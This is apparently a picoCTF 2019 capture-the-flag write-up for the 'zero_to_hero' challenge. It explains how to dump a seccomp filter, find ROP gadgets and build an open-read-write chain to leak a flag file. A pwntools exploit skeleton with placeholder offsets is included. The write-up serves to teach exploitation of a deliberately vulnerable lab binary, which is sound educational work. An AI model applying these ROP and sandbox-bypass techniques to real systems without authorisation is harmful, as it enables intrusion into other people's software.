zero_to_hero picoCTF 2019 Solution

Published: April 2, 2026

Description

Let's start from scratch. Buffer overflow with seccomp sandbox. nc connection.

Download the binary and connect to the server.

bash
wget <url>/zero_to_hero
bash
chmod +x zero_to_hero
bash
nc <HOST> <PORT_FROM_INSTANCE>
  1. Step 1Identify the vulnerability and seccomp filters
    Run checksec on the binary. Look for a buffer overflow. Use seccomp-tools to dump the seccomp filter and see which syscalls are allowed. The seccomp sandbox restricts which syscalls your ROP chain can use.
    bash
    checksec zero_to_hero
    bash
    seccomp-tools dump ./zero_to_hero
    bash
    ghidra zero_to_hero &
    Learn more

    Seccomp (Secure Computing) is a Linux kernel feature that filters system calls. A seccomp filter defines which syscalls a process is allowed to make. If a disallowed syscall is attempted, the process is killed. This prevents a simple execve('/bin/sh') shell even if you control RIP.

    seccomp-tools dump instruments the process to capture and decode the BPF (Berkeley Packet Filter) rules that implement the seccomp policy, showing you exactly which syscalls are permitted.

  2. Step 2Build a ROP chain respecting seccomp
    Identify allowed syscalls (often: read, write, open, exit - but not execve). Build a ROP chain to: open the flag file with open(), read the flag into a buffer with read(), and write it to stdout with write().
    bash
    ROPgadget --binary zero_to_hero | grep 'pop rdi'
    bash
    ropper -f zero_to_hero --search 'pop rdi'
    Learn more

    x86-64 calling convention. The first six integer/pointer arguments go in rdi, rsi, rdx, rcx, r8, r9; the syscall number goes in rax; syscall traps to the kernel.

    open("flag.txt", 0):       sys_open  = 2,  rdi=&"flag.txt", rsi=0
    read(3, buf, 0x100):       sys_read  = 0,  rdi=3, rsi=buf, rdx=0x100
    write(1, buf, 0x100):      sys_write = 1,  rdi=1, rsi=buf, rdx=0x100

    Stack layout of the chain (each cell = 8 bytes; ret pops the top):

    rsp -> | pop rdi ; ret      |   set rdi = &"flag.txt"
           | &"flag.txt" (.bss) |
           | pop rsi ; ret      |   set rsi = 0  (O_RDONLY)
           | 0                  |
           | pop rax ; ret      |   set rax = 2  (sys_open)
           | 2                  |
           | syscall ; ret      |   open() -> rax = fd
           | pop rdi ; ret      |   set rdi = fd  (assume 3)
           | 3                  |
           | pop rsi ; ret      |   set rsi = buf
           | buf  (.bss + 0x100)|
           | pop rdx ; pop r... |   set rdx = 0x100
           | 0x100              |
           | pop rax ; ret      |   set rax = 0  (sys_read)
           | 0                  |
           | syscall ; ret      |
           | ... write(1, buf, 0x100) ...                |

    The string "flag.txt" is written into .bss first via a read() stub or by reusing an existing string in the binary (strings vuln). Pick a fixed offset in .bss for the read buffer so it does not collide with the string.

  3. Step 3Exploit and read the flag
    Write the pwntools exploit with the full ROP chain. Send the overflow payload to control RIP and execute the open-read-write chain to exfiltrate the flag.
    python
    python3 << 'EOF'
    from pwn import *
    
    elf = ELF('./zero_to_hero')
    p = remote('<HOST>', <PORT_FROM_INSTANCE>)
    
    # Find ROP gadgets
    rop = ROP(elf)
    # Build: open('flag', 0) -> read(fd, buf, 100) -> write(1, buf, 100)
    # ... (fill in with actual gadgets and addresses)
    
    payload = b'A' * <OFFSET>
    payload += rop.chain()
    
    p.sendlineafter(b'> ', payload)
    p.interactive()
    EOF
    Learn more

    Why ROP defeats NX. NX marks the stack/heap non-executable, so injected shellcode segfaults. ROP runs only existing executable code (.text), so NX never triggers. Each ret pops the next gadget address from the attacker-controlled stack into rip, executing it; that gadget's own ret pops the address after it; and so on, threading control through the chain.

    Why seccomp matters here. Without seccomp you would just chain execve("/bin/sh", 0, 0) (sys_execve = 59) and call it a day. The filter blocks execve, so the chain instead synthesizes a shell-free flag read using open+read+write. If open were also blocked you would fall back to openat; if all of those were blocked you would need a sigreturn-oriented chain (SROP) using rt_sigreturn if it remains allowed.

    fd numbering tip. stdin/stdout/stderr are 0/1/2. The first open() in the process returns 3, the second 4, etc. If the binary has not opened other files before your chain runs, hardcoding fd=3 works. If unsure, leak it: dup the result into rdi via a mov rdi, rax gadget if available.

Flag

picoCTF{...}

Use a ROP chain with only seccomp-allowed syscalls (open/read/write) to read the flag file and print it to stdout.

Want more picoCTF 2019 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next